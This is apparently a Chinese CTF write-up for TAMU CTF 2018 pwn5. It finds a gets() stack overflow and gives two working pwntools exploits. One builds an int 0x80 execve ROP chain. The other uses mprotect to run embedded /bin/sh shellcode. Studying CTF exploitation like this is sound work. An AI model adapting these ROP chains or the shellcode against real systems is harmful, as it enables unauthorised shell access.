• ROP-Tamu CTF 2018-pwn5


    1 int __cdecl main(int argc, const char **argv, const char **envp)
    2 {
    3   print_beginning();
    4   return 0;
    5 }

    打开IDA,main中调用了print_beginning()。

     1 int print_beginning()
     2 {
     3   int result; // eax
     4   char v1; // [esp+Fh] [ebp-9h]
     5 
     6   puts("Welcome to the TAMU Text Adventure!");
     7   puts("You are about to begin your journey at Texas A&M as a student");
     8   puts("But first tell me a little bit about yourself");
     9   printf("What is your first name?: ");
    10   fgets(&first_name, 100, stdin);
    11   strtok(&first_name, "
    ");
    12   printf("What is your last name?: ");
    13   fgets(&last_name, 100, stdin);
    14   strtok(&last_name, "
    ");
    15   printf("What is your major?: ");
    16   fgets(major, 20, stdin);
    17   strtok(major, "
    ");
    18   printf("Are you joining the Corps of Cadets?(y/n): ");
    19   v1 = getchar();
    20   corps = v1 == 121 || v1 == 89;
    21   printf("
    Welcome, %s %s, to Texas A&M!
    ");
    22   if ( corps )
    23     result = first_day_corps();
    24   else
    25     result = first_day_normal();
    26   return result;
    27 }

    观察print_beginning(),发现三个fgets的参数,first_name,last_name等都是全局变量,所以这个print_beginning()函数中,并没有可以攻击的地方。

    1 int change_major()
    2 {
    3   char dest; // [esp+Ch] [ebp-1Ch]
    4 
    5   getchar();
    6   gets(&dest);
    7   strncpy(&dest, major, 0x14u);
    8   return printf("You changed your major to: %s
    ");
    9 }

    然后接着,一个个查看其他函数,发现在change_major()中,调用了gets(),并且参数就存放在栈上,所以这里可以进行栈溢出攻击。

     checksec一下,发现NX是开着的,并且由于ASLR都是默认开启的,所以并不能往栈上写入shellcode执行。

    在IDA中搜索system函数,也没有。

    所以这里就用到了int 80中断来执行system了。

    ROPgadget --binary pwn5 | grep 'int 0x80'

     用这行指令,找到了int 0x80的gadget。

    eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0.

    想要调用sys_execve,需要给上面几个寄存器赋值。给寄存器赋值要用到pop指令,接着用ROPgadget来寻找。

    ROPgadget --binary pwn5 | grep 'pop' 
     1 #coding:utf-8
     2 from pwn import *
     3 io=process('./pwn5')
     4 pos_0x80=p32(0x08071005)  #地址中不能存在0a,否则就会被当成换行
     5 pos_pop1=p32(0x08095FF4)  #0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
     6 pos_pop2=p32(0x080733B0)  #0x080733b0 : pop edx ; pop ecx ; pop ebx ; ret
     7 pos_sh=p32(0x080F1A20)
     8 pading=b'A'*32
     9 
    10 payload=pading+pos_pop1+p32(11)+pos_sh+p32(0)+p32(0)+p32(0)+pos_pop2+p32(0)+p32(0)+pos_sh+pos_0x80
    11 #payload=pading+b'xf4x5fx09x08'+b'x0bx00x00x00'+pos_sh+b'x00x00x00x00'+b'x00x00x00x00'+b'x00x00x00x00'+pos_pop2+b'x00x00x00x00'+b'x00x00x00x00'+pos_sh+pos_0x80
    12 
    13 io.sendline('/bin/sh')    #必须得是/bin/sh,如果是sh的话不行
    14 io.sendline('/bin/sh')
    15 io.sendline('/bin/sh')    #三个变量都是全局变量,都可以用
    16 io.sendline('y')
    17 io.sendline('2')
    18 io.sendline(payload)
    19 
    20 io.interactive()

    最后写出脚本。

    这个题整体思路是很清晰的,是一个int 0x80的入门教学题。

    我搜了一下其他的writeup,发现也可以用其他方法来解题。

     如图我们可以发现,程序中有mprotect函数。

    1 int mprotect(const void *start, size_t len, int prot);

    这个是mprotect的函数原型,mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

    因为这个题的PIE没有打开,所以bss段的地址不会被随机化,所以我们可以确定这个地址。把shellcode写入到fisrtname中,而firstname是全局变量存放在bss中。再通过调用mprotect将这块bss内存设置为rwx,通过ret返回调用shellcode,就能拿到shell了。

     1 coding:utf-8
     2 from pwn import *
     3 io=process('./pwn5')
     4 shellcode=b'x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80'
     5 pos_mprotect=p32(0x08072450)
     6 pos_firstname=p32(0x080F1A20)
     7 pos_bss=p32(0x080F1000)
     8 pading=b'A'*32
     9 
    10 payload=b''
    11 payload+=pading
    12 payload+=pos_mprotect
    13 payload+=pos_firstname     #如果参数在栈上,那么构造的栈顶一定是返回地址
    14 payload+=pos_bss
    15 payload+=p32(0x1000)
    16 payload+=p32(7)            #栈上的参数是从右往左压入的
    17 
    18 io.sendline(shellcode)
    19 io.sendline(' ')
    20 io.sendline(' ')
    21 io.sendline('y')
    22 io.sendline('2')
    23 io.sendline(payload)
    24 
    25 io.interactive()

  • 相关阅读:
    SpringCloud学习教程
    Google浏览器插件推荐
    谷歌身份验证器使用
    js控制某个div在页面加载完成5秒后隐藏
    通过城市联动实时将地址显示到text中
    百度地图通过地址查询并且定位
    yii2.0验证码的两种实现方式
    yii2.0 中数据查询中 or、in、between 及session的使用
    Calling unknown method: appmodulesmobilecontrollersCompanyController::redirect()
    页面权限跳转
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14177591.html
Copyright © 2020-2023  润新知